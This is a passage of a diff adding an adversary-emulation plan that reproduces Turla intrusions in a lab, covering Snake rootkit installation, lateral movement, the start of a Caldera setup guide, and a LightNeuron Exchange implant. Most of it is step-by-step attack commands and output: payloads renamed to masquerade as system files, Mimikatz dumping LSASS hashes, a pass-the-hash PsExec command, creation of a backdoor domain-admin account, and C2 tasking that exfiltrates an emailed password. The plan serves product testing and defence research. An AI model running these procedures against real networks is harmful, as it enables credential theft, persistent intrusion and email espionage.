Dropper](../../Resources/EPIC/SimpleDropper) + * [File write of EPIC injector](../../Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp#L34-L50) + * [Registry modification](../../Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp#L95-L143) +* [EPIC Injector](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/) + * Extract EPIC Guard DLL from resources section [FindResourceW](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Source.cpp#L161-L193) + * Targeting explorer.exe for [DLL injection](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Source.cpp#L199-L233) +* [EPIC Guard](../../Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/) + * Extract EPIC payload DLL from resources section [FindResourceW](../../Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/dllmain.cpp#L161-L193) + * Targeting svchost.exe for payload [DLL injection](../../Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/dllmain.cpp#L235-L283) +* [EPIC Payload](../../Resources/EPIC/payload/) (in msedge.exe) + * Execute commands [ExecCmd](../../Resources/EPIC/payload/src/epic.cpp#L47-L71) + * User discovery [GetAllUsers](../../Resources/EPIC/payload/src/epic.cpp#L111-L182) + * Directory discovery [DirectoryDiscovery](../../Resources/EPIC/payload/src/epic.cpp#L257-L298) + * Write results to log file [WriteResults](../../Resources/EPIC/payload/src/epic.cpp#L311-L345) + * C2 communications are: + * [bzip2 compressed](../../Resources/EPIC/payload/src/comms.cpp#L462-L469) + * [AES encrypted](../../Resources/EPIC/payload/src/comms.cpp#L483-L484) + * [RSA encrypted AES key](../../Resources/EPIC/payload/src/comms.cpp#L487-L497) + * [base64 encoded](../../Resources/EPIC/payload/src/comms.cpp#L505) + * C2 communications are over [HTTPS](../../Resources/EPIC/payload/src/comms.cpp#L421-L458), [HTTPS specific flags](../../Resources/EPIC/payload/src/comms.cpp#L167-L196) + +### :microscope: Cited Intelligence + +* +* +* +* +* +* +* +* + + +## Test 10: Install Snake on First Target + +:microphone: `Voice Track:` + +Test 10 emulates Turla exploiting a vulnerable driver to install the Snake rootkit +on the `Azuolas` system and then performing discovery on `Azuolas` to +discover a file server and associated file server admin. + +--- + +### :biohazard: Procedures + +* :arrow_right: Switch to your RDP session to `azuolas` as `egle`. + +* Open a Powershell prompt and run the following command: +```pwsh +runas /user:nk\egleadmin powershell +``` +* When prompted, type in the password for `EgleAdmin`: + +| Username | Password | +| :--------: | :---------------: | +| nk\EgleAdmin | Producer1! | + +* A new powershell window should pop up. Run the following command to ensure that you are running as `nk\EgleAdmin`: +```pwsh +whoami +``` + +:arrow_right: Return to your Kali C2 server terminal window + +* From your `smbclient` Kali terminal tab, transfer the Snake installer to `Azuolas`. +```bash +smbclient -U 'nk\EgleAdmin'%'Producer1!' //10.100.40.103/c$ -c 'put /opt/day2/turla/Resources/payloads/epic/snake.exe Users\egle\Desktop\gusbsys.exe' +``` + +* :arrow_right: Switch to your RDP session to `azuolas` as `egle`. + +* Open File Explorer and browse to Desktop + +* From the `egle` (:heavy_exclamation_mark: NOT `egleadmin`) powershell terminal, run the following command to execute the Snake rootkit installer with the privilege escalation option: +```powershell +C:\Users\Egle\Desktop\gusbsys.exe -f +``` + +* Within the RDP session, go to your Edge window. Perform a hard refresh on the current page by pressing Ctrl+Shift+R. + +:arrow_right: Return to your Kali C2 server terminal window and verify that a new implant session is beaconing back to the C2 server. + +:arrow_right: Return to your Kali C2 server terminal window. + +* From your lower Kali C2 terminal window, task the Snake rootkit to run the following process discovery command: +```bash +# Discover running processes +cd /opt/day2/turla/Resources/control_server +./evalsC2client.py --set-task 534b40585d514b554844 '{"type": 3, "proc": "tasklist.exe", "args": "/v"}' +``` + +* :heavy_exclamation_mark: Verify that the enumerated processes output contains a process running under `EgleAdmin` +```bash +grep 'NK\\EgleAdmin' logs.txt -i +``` + +> This should return output similar to the following: +> ``` +> powershell.exe 2868 RDP-Tcp#6 5 79,140 K Unknown NK\egleadmin 0:00:00 N/A +> conhost.exe 7368 RDP-Tcp#6 5 18,088 K Unknown NK\egleadmin 0:00:00 N/A +> ``` + +* Wait 1 minute then execute the next discovery command to enumerate `EgleAdmin`'s groups: +```bash +# Enumerate details on EgleAdmin to find group membership +./evalsC2client.py --set-task 534b40585d514b554844 '{"type": 3, "proc": "net.exe", "args": "user /domain EgleAdmin"}' +``` +:heavy_exclamation_mark: Verify that `File Server Admins` is listed as one of the groups that `EgleAdmin` is a member of. + +* Wait 1 minute then execute the next discovery command to the drive mapped to the file server: +```bash +# Discover that the local machine has a drive mapped to the file server +./evalsC2client.py --set-task 534b40585d514b554844 '{"type": 3, "proc": "net.exe", "args": "use", "runas": "nk\\Egle"}' +``` +:heavy_exclamation_mark: Verify that the home drive is mapped to the file server host `berzas (10.100.30.204)`. + +--- + +### :moyai: Source Code + +* EPIC + * File download [DownloadFile](../../Resources/EPIC/payload/src/epic.cpp#L441-L466) + * Execute commands [ExecCmd](../../Resources/EPIC/payload/src/epic.cpp#L47-L71) +* [Snake Installer](../../Resources/Snake/SnakeInstaller/README.md) + * [Privilege Escalation](../../Resources/Snake/SnakeInstaller/src/privesc/privesc.cpp#L179) + * [Disable DSE and Load Rootkit](../../Resources/Snake/SnakeInstaller/src/main.cpp#L63) + * [Start Snake Rootkit Driver](../../Resources/Snake/SnakeInstaller/src/driver/driver.cpp#L111) +* [Snake Rootkit](../../Resources/Snake/README.md) + * [Driver](../../Resources/Snake/SnakeDriver/SnakeDriver/driver.c#L76) + * [Function Hooking](../../Resources/Snake/SnakeDriver/SnakeDriver/hooks.c#L31) + * [Infinity Hook](../../Resources/Snake/SnakeDriver/libinfinityhook/README.md) + * [Drop DLL](../../Resources/Snake/SnakeDriver/SnakeDriver/filesystem.cpp#L22) + * [Trigger injection on network request](../../Resources/Snake/SnakeDriver/SnakeDriver/wfp.cpp#L276) + * [Inject Usermodule DLL](../../Resources/Snake/SnakeDriver/SnakeDriver/inject.cpp#L30) +* [Snake Usermodule DLL](../../Resources/Snake/UserModule/README.md) + * [C2 communications over HTTP](../../Resources/Snake/UserModule/src/comms_http.cpp#L237) + * [Task download](../../Resources/Snake/UserModule/src/comms_http.cpp#L237) + * [Task execution with optional token impersonation](../../Resources/Snake/UserModule/src/execute.cpp#L406) + * [Token duplication](../../Resources/Snake/UserModule/src/execute_token.cpp#L284) + +### :microscope: Cited Intelligence + +* [Report 9: Securelist/Artemon- Uroburos](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2014/08/20082358/uroburos.pdf) +* [Report 10: BAE/Artemon- Snake](https://artemonsecurity.com/snake_whitepaper.pdf) +* [Report 11: GData- Uroburos](https://public.gdatasoftware.com/Web/Content/INT/Blog/2014/02_2014/documents/GData_Uroburos_RedPaper_EN_v1.pdf) +* [Report 12: CIRCL- TR-25](https://www.circl.lu/pub/tr-25/) +* [Report 13: GData- Kernel Protection Mitigation](https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation) +* [Report 14: GData- using WinDbg](https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg) +* [Report 16: GData- Project Cobra](https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra) +* [Report 17: Tetrane- Uroburos with REVEN](https://blog.tetrane.com/2019/Analysis-Uroburos-Malware-REVEN.html) +* [Report 18: Talos- Snake Campaign](https://blog.talosintelligence.com/2014/04/snake-campaign-few-words-about-uroburos.html) +* [Report 19: Lastline- Dissecting Turla Rootkit](https://www.lastline.com/labsblog/dissecting-turla-rootkit-malware-using-dynamic-analysis/) +* [Report 20: Lastline- Kernel Exploit Makeover](https://www.lastline.com/labsblog/turla-apt-group-gives-their-kernel-exploit-a-makeover/) +* [Report 27: GitHub- hfiref0x/TDL](https://github.com/hfiref0x/TDL) +* [Report 28: CoreLabs- VirtualBox Privilege Escalation](https://www.coresecurity.com/core-labs/advisories/virtualbox-privilege-escalation-vulnerability) +* [Report 29: Unit42- Acidbox](https://unit42.paloaltonetworks.com/acidbox-rare-malware/) + + +## Test 11: Snake Lateral Movement to File Server + +:microphone: `Voice Track:` + +Test 11 emulates Turla using the discovered admin account to laterally move to the file server and install the Snake rootkit on it, and then +using Powershell to perform Active Directory user, group, and computer discovery. + +--- + +### :biohazard: Procedures + +:arrow_right: RDP into `berzas (10.100.30.204)` as `EgleAdmin`: + +| Username | Password | +| :--------: | :---------------: | +| nk\EgleAdmin | Producer1! | + +* Close any spurious windows + +:arrow_right: Return to your Kali C2 server + +* From your `smbclient` Kali terminal tab, copy PsExec and the second Snake installer to `Azuolas`. + +```bash +smbclient -U 'nk\EgleAdmin'%'Producer1!' //10.100.40.103/c$ -c 'put /opt/day2/turla/Resources/payloads/snake/PsExec.exe Windows\System32\file_svc_mgr.exe' +smbclient -U 'nk\EgleAdmin'%'Producer1!' //10.100.40.103/c$ -c 'put /opt/day2/turla/Resources/payloads/snake/installer_v2.exe Windows\System32\cmu_svc_v2.exe' +``` + +:arrow_right: Return to your RDP session to `Azuolas (10.100.40.103)` as `Egle` and look for indications of vendor blocking activity. + +* Open File Explorer and browse to `C:\Windows\System32`. Order files by date. + +* In the :heavy_exclamation_mark: `EgleAdmin` Powershell terminal, run the following command to execute PsExec, which will run the Snake installer on the file server `berzas`: +```powershell +C:\Windows\System32\file_svc_mgr.exe \\berzas -accepteula -s -c "C:\Windows\System32\cmu_svc_v2.exe" +``` + +* Check both the `Egle` and `EgleAdmin` RDP windows for indications of the vendor blocking the activity. + +:arrow_right: Return to your RDP session to `berzas (10.100.30.204)` as `EgleAdmin` + +* Open Edge and navigate to . Perform a search on `File server configuration best practices`, but don't click on any results. + +:arrow_right: Check the Kali C2 server terminal window and verify that a new implant session is beaconing back to the C2 server. + +* From your lower Kali C2 control server terminal window, task Snake to check if the `ActiveDirectory` PowerShell module is installed. +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Get-Module -ListAvailable -Name ActiveDirectory"}' +``` +:heavy_exclamation_mark: Verify that you see output. If the implant returns empty output, please contact your lead. + +* Wait 1 minute before tasking Snake to collect a list of Active Directory groups containing the word "management", +as members of these groups will likely have elevated permissions on the network. +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADGroup -Filter * | Where-Object Name -Match \"management\" | Select Name"}' +``` +:heavy_exclamation_mark: Verify that `Server Management` is included in the results. + +* Wait 1 minute before tasking Snake to obtain the usernames of accounts within the `Server Management` domain group. This will instruct Turla on users to target next. + +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADGroupMember -Identity \"Server Management\" | Select Name,SamAccountName"}' +``` +:heavy_exclamation_mark: Verify that `ZilvinasAdmin` shows up in the list of accounts. + +* Wait 1 minute before tasking Snake to obtain the usernames of accounts within the `Domain Admins` domain group. +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADGroupMember -Identity \"Domain Admins\" | Select Name,SamAccountName"}' +``` +:heavy_exclamation_mark: Verify that `ZilvinasAdmin` shows up in the list of accounts. + +* Wait 1 minute before tasking Snake to discover domain users. Ensure +`Zilvinas` and `ZilvinasAdmin` appear in the output. +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADUser -Filter {LastLogonDate -ne 0} -Properties * | Select Name,SamAccountName"}' +``` + +* Finally, wait 1 minute before tasking Snake to obtain a list of domain computers and some of their information (IP addresses, DNS names, and description). +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADComputer -Filter * -Properties * | Select Name,DnsName,IPv4Address,Description"}' +``` +:heavy_exclamation_mark: Ensure that `Zilvinas' Workstation` appears in the `Description` field for `uosis` + +--- + +### :moyai: Source Code + +* [Snake Installer](../../Resources/Snake/SnakeInstaller/README.md) + * [Privilege Escalation](../../Resources/Snake/SnakeInstaller/src/privesc/privesc.cpp#L179) + * [Disable DSE and Load Rootkit](../../Resources/Snake/SnakeInstaller/src/main.cpp#L63) + * [Start Snake Rootkit Driver](../../Resources/Snake/SnakeInstaller/src/driver/driver.cpp#L111) +* [Snake Rootkit](../../Resources/Snake/README.md) + * [Driver](../../Resources/Snake/SnakeDriver/SnakeDriver/driver.c#L76) + * [Function Hooking](../../Resources/Snake/SnakeDriver/SnakeDriver/hooks.c#L31) + * [Infinity Hook](../../Resources/Snake/SnakeDriver/libinfinityhook/README.md) + * [Drop DLL](../../Resources/Snake/SnakeDriver/SnakeDriver/filesystem.cpp#L22) + * [Trigger injection on network request](../../Resources/Snake/SnakeDriver/SnakeDriver/wfp.cpp#L276) + * [Inject Usermodule DLL](../../Resources/Snake/SnakeDriver/SnakeDriver/inject.cpp#L30) +* [Snake Usermodule DLL](../../Resources/Snake/UserModule/README.md) + * [Task download](../../Resources/Snake/UserModule/src/comms_http.cpp#L237) + * [Task execution via cmd](../../Resources/Snake/UserModule/src/execute.cpp#L337) + * [Generic process execution with optional token impersonation](../../Resources/Snake/UserModule/src/execute.cpp#L406) + * [Payload download](../../Resources/Snake/UserModule/src/comms_http.cpp#L604) + * [Token duplication](../../Resources/Snake/UserModule/src/execute_token.cpp#L284) + * [Powershell execution](../../Resources/Snake/UserModule/src/execute.cpp#L372) + +### :microscope: Cited Intelligence + +* + +## Test 12: Credential Dumping, Lateral Movement, and Persistence + +:microphone: `Voice Track:` + +Test 12 emulates Turla performing credential dumping on the file server, and then performing lateral movement to the domain admin's workstation and performing additional persistence by creating a new domain admin account. + +--- + +### :biohazard: Procedures + +:arrow_right: Start a new RDP session to `uosis (10.100.40.102)` as `Zilvinas`: + +| Username | Password | +| :--------: | :---------------: | +| nk\Zilvinas | Producer2! | + +* Click on the search bar and search for `powershell`. Right click `powershell` and then click "Run as Administrator". + +* When prompted, type in the username and password for `ZilvinasAdmin`: + +| Username | Password | +| :--------: | :---------------: | +| nk\ZilvinasAdmin | Producer2! | + +* A new powershell window should pop up. Run the following command to ensure that you are running as `nk\ZilvinasAdmin`: +```pwsh +whoami +``` + +:arrow_right: Return to your Kali C2 server + +* From the `smbclient` Kali terminal tab, copy MimiKatz, PsExec, and the Snake installer, to the file server `berzas`: +```bash +smbclient -U 'nk\EgleAdmin'%'Producer1!' //10.100.30.204/c$ -c 'put /opt/day2/turla/Resources/payloads/snake/mimikatz.exe Windows\System32\loadperf.exe' +smbclient -U 'nk\EgleAdmin'%'Producer1!' //10.100.30.204/c$ -c 'put /opt/day2/turla/Resources/payloads/snake/PsExec.exe Windows\System32\fs_mgr.exe' +smbclient -U 'nk\EgleAdmin'%'Producer1!' //10.100.30.204/c$ -c 'put /opt/day2/turla/Resources/payloads/snake/installer_v3.exe Windows\System32\cmu_svc.exe' +``` + +:arrow_right: Go back to the RDP session to `Berzas (10.100.30.204)` as `EgleAdmin`: + +* Open File Explorer and browse to C:\Windows\System32. Order files by date. + +* Open command prompt (cmd) as an administrator. If prompted for credentials, use the following: + +| Username | Password | +| :--------: | :---------------: | +| nk\EgleAdmin | Producer1! | + +* In the admin cmd prompt, run Mimikatz to dump all NTLM hashes from `LSASS.exe`: +```bat +C:\Windows\System32\loadperf.exe pr::d slsa::lop quit +``` +* :heavy_exclamation_mark: Verify that the password and NTLM hash for `ZilvinasAdmin` appears in the output. + * In the Command Prompt, press CTRL+F and in the "Find what:" field, enter + `* Username : ZilvinasAdmin` + * You may have to go up a few results to find the hash and password + * The output should contain: + * > ``` + > * Username : ZilvinasAdmin + > * Domain : NK + > * NTLM : f3fcd61f987a97da49ce5f650b4e6539 + > * SHA1 : fc8c801521140666c793108b67716caf4c4189f4 + > * DPAPI : b06d7bea8849897b811e1d73ab22726c + > tsPkG : + > -- + > * Username : ZilvinasAdmin + > * Domain : NK + > * Password : Producer2! + > kErberoS : + > * Username : ZilvinasAdmin + > * Domain : NK.LOCAL + > * Password : (null) + > sSp : + > crEdMan : + > ``` + +* Wait 1 minute and then in the same elevated cmd prompt, perform pass-the-hash via MimiKatz using `ZilvinasAdmin`'s NTLM hash to run PsExec and install Snake on the target workstation. +```bat +C:\Windows\System32\loadperf.exe pr::d "slsa::htp /user:ZilvinasAdmin /ntlm:f3fcd61f987a97da49ce5f650b4e6539 /domain:nk.local /remotepc:uosis /pexe:C:\Windows\System32\fs_mgr.exe /sys:1 /prun:C:\Windows\System32\cmu_svc.exe" quit +``` + +* Check both the `berzas (10.100.30.204)` and `uosis (10.100.40.102)` RDP +sessions for indicators of blocked activity. + +:arrow_right: Return to your RDP session to `uosis (10.100.40.102)` as `Zilvinas`: + +* Open Edge and navigate to `https://drebule.nk.local/owa`. Log in as `Zilvinas`: + +| Username | Password | +| :--------: | :---------------: | +| nk\Zilvinas | Producer2! | + +* Spend a couple minutes reading through any unread emails to wait for the implant to start beaconing back to the C2 server. + +:arrow_right: Return to the Kali C2 terminal window and verify that a new implant session is beaconing back to the C2 server. + +* From the lower terminal window, task Snake to enumerate running processes on the machine to discover processes under `ZilvinasAdmin`. +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 3, "proc": "tasklist.exe", "args": "/v"}' +``` +* :heavy_exclamation_mark: Verify that we find processes running under `ZilvinasAdmin` + +```bash +grep 'NK\\ZilvinasAdmin' logs.txt -i +``` + +> This should return output similar to the following: +> +>``` +>powershell.exe 8152 RDP-Tcp#2 3 83,280 K Unknown NK\ZilvinasAdmin 0:00:00 N/A +>conhost.exe 312 RDP-Tcp#2 3 17,356 K Unknown NK\ZilvinasAdmin 0:00:00 N/A +>``` + + +* Wait 1 minute, then instruct Snake to create a new domain user `Leshy` using an access token from one of the `ZilvinasAdmin` processes. `Leshy` will be used as a backdoor domain admin account for persistence on the domain. +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 1, "command": "net user leshy Password12345 /add /domain", "runas": "nk\\zilvinasadmin"}' +``` + +* Wait 1 minute, then instruct Snake to add `Leshy` to the `Domain Admins` group. +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 1, "command": "net group \"Domain Admins\" leshy /add /domain", "runas": "nk\\zilvinasadmin"}' +``` + +### :moyai: Source Code + +* [Snake Installer](../../Resources/Snake/SnakeInstaller/README.md) + * [Privilege Escalation](../../Resources/Snake/SnakeInstaller/src/privesc/privesc.cpp#L179) + * [Disable DSE and Load Rootkit](../../Resources/Snake/SnakeInstaller/src/main.cpp#L63) + * [Start Snake Rootkit Driver](../../Resources/Snake/SnakeInstaller/src/driver/driver.cpp#L111) +* [Snake Rootkit](../../Resources/Snake/README.md) + * [Driver](../../Resources/Snake/SnakeDriver/SnakeDriver/driver.c#L76) + * [Function Hooking](../../Resources/Snake/SnakeDriver/SnakeDriver/hooks.c#L31) + * [Infinity Hook](../../Resources/Snake/SnakeDriver/libinfinityhook/README.md) + * [Drop DLL](../../Resources/Snake/SnakeDriver/SnakeDriver/filesystem.cpp#L22) + * [Trigger injection on network request](../../Resources/Snake/SnakeDriver/SnakeDriver/wfp.cpp#L276) + * [Inject Usermodule DLL](../../Resources/Snake/SnakeDriver/SnakeDriver/inject.cpp#L30) +* [Snake Usermodule DLL](../../Resources/Snake/UserModule/README.md) + * [C2 communications over HTTP](../../Resources/Snake/UserModule/src/comms_http.cpp#L237) + * [Task download](../../Resources/Snake/UserModule/src/comms_http.cpp#L237) + * [Task execution for generic process](../../Resources/Snake/UserModule/src/execute.cpp#L406) + * [Task execution via cmd with optional token impersonation](../../Resources/Snake/UserModule/src/execute.cpp#L337) + * [Token duplication](../../Resources/Snake/UserModule/src/execute_token.cpp#L284) + * [Payload download](../../Resources/Snake/UserModule/src/comms_http.cpp#L604) + * [File Upload](../../Resources/Snake/UserModule/src/comms_http.cpp#L359) +* [Mimikatz](../../Resources/Mimikatz) + +### :microscope: Cited Intelligence + +* TBD + +## Test 13: Lateral Movement to Exchange Server and LightNeuron Capabilities + +:microphone: `Voice Track:` + +Test 13 emulates Turla laterally moving to the Exchange server, installing the LightNeuron implant there, +and sending several discovery commands to the LightNeuron implant and collecting and exfiltrating email traffic. + +--- + +### :biohazard: Procedures + +:arrow_right: Start a new RDP session to `drebule (10.100.30.203)` as `ZilvinasAdmin`: + +| Username | Password | +| :--------: | :---------------: | +| nk\ZilvinasAdmin | Producer2! | + +:arrow_right: Return to your Kali C2 server + +* In your Kali terminal window, copy the LightNeuron files to `uosis` +```bash +sudo smbclient -U 'nk\ZilvinasAdmin'%'Producer2!' //10.100.40.102/c$ -c 'put /opt/day2/turla/Resources/payloads/snake/ln_transport_agent.dll Windows\System32\mtxconf.dll' +sudo smbclient -U 'nk\ZilvinasAdmin'%'Producer2!' //10.100.40.102/c$ -c 'put /opt/day2/turla/Resources/payloads/snake/n_installer_aux.dll Windows\System32\mtxcli.dll' +sudo smbclient -U 'nk\ZilvinasAdmin'%'Producer2!' //10.100.40.102/c$ -c 'put /opt/day2/turla/Resources/payloads/snake/msiex.ps1 Windows\System32\msiex.ps1' +sudo smbclient -U 'nk\ZilvinasAdmin'%'Producer2!' //10.100.40.102/c$ -c 'put /opt/day2/turla/Resources/payloads/snake/rules.xml Windows\System32\wdr.rules.xml' +sudo smbclient -U 'nk\ZilvinasAdmin'%'Producer2!' //10.100.40.102/c$ -c 'put /opt/day2/turla/Resources/payloads/snake/winmail.dat Windows\System32\perfe009.dat' +``` + +:arrow_right: Return to your RDP session to `uosis (10.100.40.102)` as `Zilvinas` + +* Open File Explorer and browse to `C:\Windows\System32`. Order files by date. + +* Start an elevated command prompt. When prompted for credentials, use: + +| Username | Password | +| :--------: | :---------------: | +| nk\ZilvinasAdmin | Producer2! | + +* In the elevated cmd prompt, run the following commands to copy LightNeuron files. After each command, check your RDP session to `drebule (10.100.30.203)` to look for any indicators of blocked vendor activity. +```bat +copy C:\Windows\System32\mtxconf.dll "\\drebule\C$\Program Files\Microsoft\Exchange Server\V15\TransportRoles\agents\Hygiene\Microsoft.Exchange.Transport.Agent.ConnectionFiltering.dll" +``` + +* Wait 1 minute before copying the next file (LightNeuron companion DLL): +```bat +copy C:\Windows\System32\mtxcli.dll "\\drebule\C$\Program Files\Microsoft\Exchange Server\v15\bin\exdbdata.dll" +``` + +* Wait 1 minute before copying the next file (installation script): +```bat +copy C:\Windows\System32\msiex.ps1 \\drebule\C$\Windows\System32\msiex.ps1 +``` + +* Wait 1 minute before copying the rules file: +```bat +copy C:\Windows\System32\wdr.rules.xml \\drebule\C$\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\msmdat.xml +``` + +* Wait 1 minute before copying the last config file: +```bat +copy C:\Windows\System32\perfe009.dat "\\drebule\C$\Program Files\Microsoft\Exchange Server\v15\bin\winmail.dat" +``` + +* Wait 1 minute and then run the following command in the elevated cmd prompt to install LightNeuron remotely using WMI and Powershell: +``` +wmic /node:drebule /privileges:enable /output:STDOUT process call create "cmd.exe /c powershell.exe -File C:\Windows\System32\msiex.ps1 > C:\Windows\Temp\msiexinstallation.log 2>&1" +``` +:heavy_exclamation_mark: Verify that the WMIC output shows a `ReturnValue` of 0. + +* Check your RDP session to `drebule (10.100.30.203)` to look for any indicators of blocked activity. + +:arrow_right: Return to your RDP session to `uosis (10.100.40.102)` as `ZilvinasAdmin`. + +* Wait 1 minute and then run the following command in the elevated cmd prompt to check the installation log for any errors: +```bat +type \\drebule\C$\Windows\Temp\msiexinstallation.log +``` +:heavy_exclamation_mark: If the output contains any errors, notify your lead. + +:arrow_right: Return to your Kali C2 server + +* From the Kali C2 lower terminal window, task LightNeuron to perform system +network configuration discovery: +```bash +./evalsC2client.py --set-task info@nk.local '5 | ipconfig /all' +``` + + +* :heavy_exclamation_mark: If no response is received after 5 minutes, check +the postfix logs on the Kali server to make sure the email was intercepted and +processed correctly by LightNeuron. + ```bash + grep postfix /var/log/syslog + ``` + * If there is a `reject` entry, that means the email, destined for a + nonexistent user, was processed by the Exchange server, meaning that + LightNeuron was either not successfully installed or is not working properly. + +:arrow_right: Switch to your RDP session to `drebule (10.100.30.203)` to look +for any indicators of blocked activity. + +* Open File Explorer and browse to `C:\Windows\serviceprofiles\networkservice\appdata\Roaming\Microsoft\Windows` + * Confirm the presence of an `msxfer.dat`, this implies the LightNeuron + transport agent was successfully installed and intercepted the email + containing C2 commands + +* :arrow_right: Return to your RDP session to `uosis (10.100.40.102)` as `Zilvinas`. + +* Go to your Edge browser window with the OWA page. If you do not have an Edge +browser with OWA open from a previous step, open Edge then navigate to +`https://drebule.nk.local/owa` and log in as `Zilvinas`: + +| Username | Password | +| :--------: | :---------------: | +| nk\Zilvinas | Producer2! | + +* Create a new email: + * The email recipient should be the user `egle@nk.local` + * The email subject should be `SAP Integration Issue` + * The following text should be pasted in as the email body: + ``` + Hi Egle, + After our meeting earlier I spoke with Tenko about the SAP integration issue that was preventing the users from logging in. I did a little digging and noticed there is an authentication error on the SAP server. + + When you get a few minutes could you check to make sure the service account is still active and the credentials have not expired? The account name is SVC_SAP2. + ``` + +* Send the email + +:arrow_right: Switch to your RDP window to `Azuolas (10.100.40.103)` as `Egle`. + +* Go to your Edge browser window. You should still be logged into OWA from earlier. + +* You should see the email from `Zilvinas@nk.local`. Try reloading the page if needed. + +* Reply to the email from Zilvinas. + * The following text should be pasted in as the email reply body: + ``` + Zilvinas, + + I just checked on the service account. It appears that the account was still active, but the password had expired. I've adjusted the settings for the account, so the password should not expire again. + + The new password is: dfsbH%T5RWf3bwq3aeGR$3% + + Let me know if this fixes the authentication issue. + ``` + +* Send the email + +:arrow_right: Return to the Kali C2 server lower terminal window. Task the LightNeuron implant to exfiltrate the email log file: +```bash +./evalsC2client.py --set-task info@nk.local '3 | 0' +``` + +* The file contents will be logged by the control server. +:heavy_exclamation_mark: Verify that exfil was logged by the control server by checking the terminal window with the server output or by checking the server log file. The logs should contain the password Egle sent to Zilvinas: +```bash +grep 'dfsbH%T5RWf3bwq3aeGR$3%' /opt/day2/turla/Resources/control_server/logs.txt +``` + +--- + +### :moyai: Source Code + +* [Installation Script](../../Resources/LightNeuron/msiex.ps1) +* [LightNeuron](../../Resources/LightNeuron/) + * [Masquerading legitimate file name](../../Resources/LightNeuron/CompanionDLL/data/winmail.dat) +* [Transport Agent](../../Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/ConnectionFilteringAgent.cs) + * [Remote Email Collection](../../Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/ConnectionFilteringAgent.cs#L56) + * [Automated Collection](../../Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/ConnectionFilteringAgent.cs#L100) + * [Email Hiding Rules](../../Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/ConnectionFilteringAgent.cs#L162) +* [Companion DLL](../../Resources/LightNeuron/CompanionDLL/) + * [Check message against rule file](../../Resources/LightNeuron/CompanionDLL/src/exdbdata.cpp#L307) + * [Data Staging/Automated Collection](../../Resources/LightNeuron/CompanionDLL/src/exdbdata.cpp#L196) + * [Analyze attachment for data from C2](../../Resources/LightNeuron/CompanionDLL/src/exdbdata.cpp#L98) + * [Send message back to C2 server over email](../../Resources/LightNeuron/CompanionDLL/src/exdbdata.cpp#L130) +* [Steganography](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp) + * [Decode attachment data from base64](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L437) + * [Check signature in image](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L136) + * [Decrypt data in image](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L99) + * [Extract task from image](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L302) + * [Execute commands: Cmd ID 3](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L232) + * [Execute commands: Cmd ID 5](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L263) + * [Encrypt result of command in image](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L51) + * [Hide result of command in image](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L184) + * [Encode data in base64](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L499) + +### :microscope: Cited Intelligence + +* diff --git a/turla/Emulation_Plan/yaml/Carbon_Scenario.md b/turla/Emulation_Plan/yaml/Carbon_Scenario.md new file mode 100644 index 00000000..a1682b72 --- /dev/null +++ b/turla/Emulation_Plan/yaml/Carbon_Scenario.md @@ -0,0 +1,69 @@ +The guide contains continued setup information for the Caldera port of the Turla Carbon scenario. If you have not yet set up Caldera, please refer to the [initial setup instructions](README.md) first. + +# STARTING THE CONTROL SERVER +On the attacker machine, open a new terminal window and run the following to start the C2 server: +``` +cd caldera/plugins/emu/data/adversary-emulation-plans/turla/Resources/control_server +rm logs.txt +sudo ./controlServer -c ./config/turla_day1.yml +``` +Ensure that the Carbon & Epic handlers start up before continuing to the next step. + +# FACT SETUP + +Before running the operation, you will need to make sure that the Turla fact source is properly configured for your environment. While default fact values are provided, they will need to be replaced by the appropriate values specific to your testing environment. On the left menu, under `Configuration`, select `fact sources`. Under the "Select a source" drop-down menu, select `Turla - Carbon (Emu)`, which is the fact source for the Turla adversary. From there, update the following facts as needed: + +- `network.domain.name`: The network domain name for initial target system. +- `first.target.ip`: The IP address of the first target host. +- `first.target.user`: The username of the first target host. +- `first.target.password`: The 